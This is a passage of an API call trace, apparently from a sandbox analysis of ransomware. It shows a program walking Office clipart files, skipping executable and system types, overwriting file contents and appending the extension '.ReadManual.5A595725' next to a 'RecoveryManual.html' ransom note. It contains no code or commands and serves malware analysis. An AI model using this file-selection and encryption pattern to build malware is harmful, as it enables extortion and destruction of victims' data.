lpNewFilePointer=0x0) returned 1 [0268.935] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.937] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.937] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1284) returned 0x2f0000 [0268.937] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.937] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38960579024) returned 1 [0268.937] CloseHandle (hObject=0x184) returned 1 [0268.937] SetSecurityInfo () returned 0x57 [0268.937] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.937] CloseHandle (hObject=0x194) returned 1 [0268.937] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239063.WMF", cAlternateFileName="")) returned 1 [0268.937] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239063.WMF" | out: lpString1="J0239063.WMF") returned="J0239063.WMF" [0268.937] lstrcmpiW (lpString1="J0239063.WMF", lpString2="RecoveryManual.html") returned -1 [0268.937] StrStrIW (lpFirst="J0239063.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.937] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.937] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.938] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.938] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.938] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.938] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.938] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.938] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.938] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.938] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.938] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.938] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.938] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.938] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.938] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" [0268.938] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.ReadManual.5A595725" [0268.938] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF.ReadManual.5A595725") returned 87 [0268.938] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38960676817) returned 1 [0268.938] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf")) returned 0x20 [0268.938] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239063.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.938] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5884) returned 1 [0268.939] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16fc, lpName=0x0) returned 0x184 [0268.939] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.939] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.939] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.941] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.941] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16fc) returned 0x2f0000 [0268.941] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.941] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38961008473) returned 1 [0268.941] CloseHandle (hObject=0x184) returned 1 [0268.941] SetSecurityInfo () returned 0x57 [0268.942] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.942] CloseHandle (hObject=0x194) returned 1 [0268.942] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1294, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239079.WMF", cAlternateFileName="")) returned 1 [0268.942] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239079.WMF" | out: lpString1="J0239079.WMF") returned="J0239079.WMF" [0268.942] lstrcmpiW (lpString1="J0239079.WMF", lpString2="RecoveryManual.html") returned -1 [0268.942] StrStrIW (lpFirst="J0239079.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.942] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.942] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.942] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.942] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.942] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.942] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.942] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.942] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.942] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.942] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.942] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.942] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.942] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.942] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.942] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" [0268.942] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.ReadManual.5A595725" [0268.942] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF.ReadManual.5A595725") returned 87 [0268.942] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38961108207) returned 1 [0268.942] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf")) returned 0x20 [0268.943] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239079.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239079.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.943] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4756) returned 1 [0268.943] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1294, lpName=0x0) returned 0x184 [0268.943] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.944] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.944] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.945] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.945] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1294) returned 0x2f0000 [0268.946] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.946] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38961448224) returned 1 [0268.946] CloseHandle (hObject=0x184) returned 1 [0268.946] SetSecurityInfo () returned 0x57 [0268.946] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.946] CloseHandle (hObject=0x194) returned 1 [0268.946] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1464, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239191.WMF", cAlternateFileName="")) returned 1 [0268.946] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239191.WMF" | out: lpString1="J0239191.WMF") returned="J0239191.WMF" [0268.946] lstrcmpiW (lpString1="J0239191.WMF", lpString2="RecoveryManual.html") returned -1 [0268.946] StrStrIW (lpFirst="J0239191.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.946] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.946] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.946] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.946] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.946] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.946] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.946] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.946] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.946] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.946] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.946] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.947] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.947] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.947] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.947] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" [0268.947] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.ReadManual.5A595725" [0268.947] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.ReadManual.5A595725") returned 87 [0268.947] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38961548098) returned 1 [0268.947] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf")) returned 0x20 [0268.947] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.948] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5220) returned 1 [0268.948] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1464, lpName=0x0) returned 0x184 [0268.948] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.949] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.949] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.959] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.959] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1464) returned 0x2f0000 [0268.959] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.959] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38962781666) returned 1 [0268.959] CloseHandle (hObject=0x184) returned 1 [0268.959] SetSecurityInfo () returned 0x57 [0268.959] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.959] CloseHandle (hObject=0x194) returned 1 [0268.959] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8424, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239611.WMF", cAlternateFileName="")) returned 1 [0268.959] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239611.WMF" | out: lpString1="J0239611.WMF") returned="J0239611.WMF" [0268.959] lstrcmpiW (lpString1="J0239611.WMF", lpString2="RecoveryManual.html") returned -1 [0268.959] StrStrIW (lpFirst="J0239611.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.959] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.960] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.960] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.960] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.960] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.960] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.960] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.960] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.960] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.960] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.960] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.960] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.960] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.960] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.960] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" [0268.960] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.ReadManual.5A595725" [0268.960] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.ReadManual.5A595725") returned 87 [0268.960] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38962878107) returned 1 [0268.960] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf")) returned 0x20 [0268.960] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.961] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=33828) returned 1 [0268.961] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8424, lpName=0x0) returned 0x184 [0268.961] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.961] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.961] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.963] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.963] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8424) returned 0x2f0000 [0268.965] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.965] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38963354400) returned 1 [0268.965] CloseHandle (hObject=0x184) returned 1 [0268.965] SetSecurityInfo () returned 0x57 [0268.965] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.965] CloseHandle (hObject=0x194) returned 1 [0268.965] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1314, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239935.WMF", cAlternateFileName="")) returned 1 [0268.965] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239935.WMF" | out: lpString1="J0239935.WMF") returned="J0239935.WMF" [0268.965] lstrcmpiW (lpString1="J0239935.WMF", lpString2="RecoveryManual.html") returned -1 [0268.965] StrStrIW (lpFirst="J0239935.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.965] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.965] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.965] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.965] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.966] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.966] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.966] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.966] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.966] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.966] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.966] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.966] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.966] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.966] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.966] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" [0268.966] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.ReadManual.5A595725" [0268.966] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.ReadManual.5A595725") returned 87 [0268.966] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38963701344) returned 1 [0268.968] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf")) returned 0x20 [0268.969] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.969] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4884) returned 1 [0268.969] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1314, lpName=0x0) returned 0x184 [0268.970] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.970] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.970] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.972] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.972] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1314) returned 0x2f0000 [0268.972] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.972] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38964105442) returned 1 [0268.972] CloseHandle (hObject=0x184) returned 1 [0268.972] SetSecurityInfo () returned 0x57 [0268.973] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.973] CloseHandle (hObject=0x194) returned 1 [0268.973] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0239941.WMF", cAlternateFileName="")) returned 1 [0268.973] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0239941.WMF" | out: 